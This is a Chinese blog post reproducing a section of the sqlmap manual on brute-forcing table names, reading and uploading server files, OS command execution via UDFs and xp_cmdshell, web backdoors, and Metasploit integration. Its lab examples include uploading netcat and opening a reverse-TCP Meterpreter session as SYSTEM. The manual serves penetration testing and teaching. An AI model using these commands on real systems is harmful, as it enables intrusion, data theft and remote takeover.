• sqlmap用户手册(七)——爆破等


    爆破


    暴力破解表名

    参数:--common-tables

    当使用--tables无法获取到数据库的表时,可以使用此参数。

    通常是如下情况:

    1. 1、MySQL数据库版本小于5.0,没有information_schema表。
    2. 2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
    3. 3、当前用户没有权限读取系统中保存数据结构的表的权限。

    暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

    列举一个MySQL 4.1的例子:

    1. $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
    2. [...]
    3. [hh:mm:39] [INFO] testing MySQL
    4. [hh:mm:39] [INFO] confirming MySQL
    5. [hh:mm:40] [INFO] the back-end DBMS is MySQL
    6. [hh:mm:40] [INFO] fetching banner
    7. web server operating system: Windows
    8. web application technology: PHP 5.3.1, Apache 2.2.14
    9. back-end DBMS operating system: Windows
    10. back-end DBMS: MySQL < 5.0.0
    11. banner:    '4.1.21-community-nt'
    12. [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
    13. [hh:mm:40] [INFO] adding words used on web page to the check list
    14. please enter number of threads? [Enter for 1 (current)] 8
    15. [hh:mm:43] [INFO] retrieved: users
    16. Database: testdb
    17. [1 table]
    18. +-------+
    19. | users |
    20. +-------+

    暴力破解列名

    参数:--common-columns

    与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

    用户自定义函数注入


    参数:--udf-inject,--shared-lib

    你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

    系统文件操作


    从数据库服务器中读取文件

    参数:--file-read

    当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

    列举一个Microsoft SQL Server 2005的例子:

    1. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
    2. --file-read "C:/example.exe" -v 1
    3. [...]
    4. [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
    5. web server operating system: Windows 2000
    6. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
    7. back-end DBMS: Microsoft SQL Server 2005
    8. [hh:mm:50] [INFO] fetching file: 'C:/example.exe'
    9. [hh:mm:50] [INFO] the SQL query provided returns 3 entries
    10. C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
    11. [...]
    12. $ ls -l output/192.168.136.129/files/C__example.exe
    13. -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
    14. $ file output/192.168.136.129/files/C__example.exe
    15. output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
    16. 80386 32-bit

    把文件上传到数据库服务器中

    参数:--file-write,--file-dest

    当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

    列举一个MySQL的例子:

    1. $ file /software/nc.exe.packed
    2. /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
    3. $ ls -l /software/nc.exe.packed
    4. -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
    5. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
    6. "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
    7. [...]
    8. [hh:mm:29] [INFO] the back-end DBMS is MySQL
    9. web server operating system: Windows 2003 or 2008
    10. web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
    11. back-end DBMS: MySQL >= 5.0.0
    12. [...]
    13. do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
    14. written on the back-end DBMS file system? [Y/n] y
    15. [hh:mm:52] [INFO] retrieved: 31744
    16. [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
    17. same size as the local file '/software/nc.exe.packed'

    运行任意操作系统命令

    参数:--os-cmd,--os-shell

    当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。

    在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

    那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

    列举一个PostgreSQL的例子:

    1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
    2. --os-cmd id -v 1
    3. [...]
    4. web application technology: PHP 5.2.6, Apache 2.2.9
    5. back-end DBMS: PostgreSQL
    6. [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
    7. [hh:mm:12] [INFO] the back-end DBMS operating system is Linux
    8. [hh:mm:12] [INFO] testing if current user is DBA
    9. [hh:mm:12] [INFO] detecting back-end DBMS version from its banner
    10. [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
    11. [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
    12. [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
    13. [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
    14. do you want to retrieve the command standard output? [Y/n/a] y
    15. command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
    16. [hh:mm:19] [INFO] cleaning up the database management system
    17. do you want to remove UDF 'sys_eval'? [Y/n] y
    18. do you want to remove UDF 'sys_exec'? [Y/n] y
    19. [hh:mm:23] [INFO] database management system cleanup finished
    20. [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
    21. only be deleted manually

    用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。

    当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:

    1. 1、ASP
    2. 2、ASP.NET
    3. 3、JSP
    4. 4、PHP

    Meterpreter配合使用

    参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

    当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:

    1. 1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
    2. 2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
    3. 3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
    4. 4、通过溢出Microsoft SQL Server 20002005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

    列举一个MySQL例子:

    1. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
    2. [...]
    3. [hh:mm:31] [INFO] the back-end DBMS is MySQL
    4. web server operating system: Windows 2003
    5. web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
    6. back-end DBMS: MySQL 5.0
    7. [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
    8. [hh:mm:31] [INFO] the back-end DBMS operating system is Windows
    9. how do you want to establish the tunnel?
    10. [1] TCP: Metasploit Framework (default)
    11. [2] ICMP: icmpsh - ICMP tunneling
    12. >
    13. [hh:mm:32] [INFO] testing if current user is DBA
    14. [hh:mm:32] [INFO] fetching current user
    15. what is the back-end database management system architecture?
    16. [1] 32-bit (default)
    17. [2] 64-bit
    18. >
    19. [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
    20. [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
    21. [hh:mm:33] [INFO] detecting back-end DBMS version from its banner
    22. [hh:mm:33] [INFO] retrieving MySQL base directory absolute path
    23. [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
    24. [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
    25. how do you want to execute the Metasploit shellcode on the back-end database underlying
    26. operating system?
    27. [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
    28. [2] Stand-alone payload stager (file system way)
    29. >
    30. [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
    31. which connection type do you want to use?
    32. [1] Reverse TCP: Connect back from the database host to this machine (default)
    33. [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
    34. between the specified and 65535
    35. [3] Bind TCP: Listen on the database host for a connection
    36. >
    37. which is the local address? [192.168.136.1]
    38. which local port number do you want to use? [60641]
    39. which payload do you want to use?
    40. [1] Meterpreter (default)
    41. [2] Shell
    42. [3] VNC
    43. >
    44. [hh:mm:40] [INFO] creation in progress ... done
    45. [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
    46.                                 _
    47.                                 | |      o
    48. _  _  _    _ _|_  __,   ,    _  | |  __    _|_
    49. / |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
    50. |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
    51.                         /|
    52.                         \|
    53.     =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
    54. + -- --=[ 674 exploits - 351 auxiliary
    55. + -- --=[ 217 payloads - 27 encoders - 8 nops
    56.     =[ svn r12272 updated 4 days ago (2011.04.07)
    57. PAYLOAD => windows/meterpreter/reverse_tcp
    58. EXITFUNC => thread
    59. LPORT => 60641
    60. LHOST => 192.168.136.1
    61. [*] Started reverse handler on 192.168.136.1:60641
    62. [*] Starting the payload handler...
    63. [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
    64. please wait..
    65. [*] Sending stage (749056 bytes) to 192.168.136.129
    66. [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
    67. hh:mm:52 +0100 2011
    68. meterpreter > Loading extension espia...success.
    69. meterpreter > Loading extension incognito...success.
    70. meterpreter > [-] The 'priv' extension has already been loaded.
    71. meterpreter > Loading extension sniffer...success.
    72. meterpreter > System Language : en_US
    73. OS              : Windows .NET Server (Build 3790, Service Pack 2).
    74. Computer        : W2K3R2
    75. Architecture    : x86
    76. Meterpreter     : x86/win32
    77. meterpreter > Server username: NT AUTHORITY\SYSTEM
    78. meterpreter > ipconfig
    79. MS TCP Loopback interface
    80. Hardware MAC: 00:00:00:00:00:00
    81. IP Address  : 127.0.0.1
    82. Netmask     : 255.0.0.0
    83. Intel(R) PRO/1000 MT Network Connection
    84. Hardware MAC: 00:0c:29:fc:79:39
    85. IP Address  : 192.168.136.129
    86. Netmask     : 255.255.255.0
    87. meterpreter > exit
    88. [*] Meterpreter session 1 closed.  Reason: User exit

    默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

  • 相关阅读:
    Go 语言
    Android 13.0 系统go版添加支持AppWidget小部件功能的实现
    我喜欢这种平平淡淡的生活!
    新增3.2万行代码,Linux内核有望在2022年正式支持Rust
    引擎入门 | Unity UI简介–第2部分(4)
    【ACM学习】【STL】顺序容器的特性比较(不包括array)
    Synchronized 原 理
    深度学习的模型压缩与加速(万字长文带你入门)
    Java (day 3)方法、数组、面向对象和异常
    N32学习笔记9-串口dma方式收发数据+printf的代码版本
  • 原文地址:https://blog.csdn.net/weixin_67271870/article/details/126883601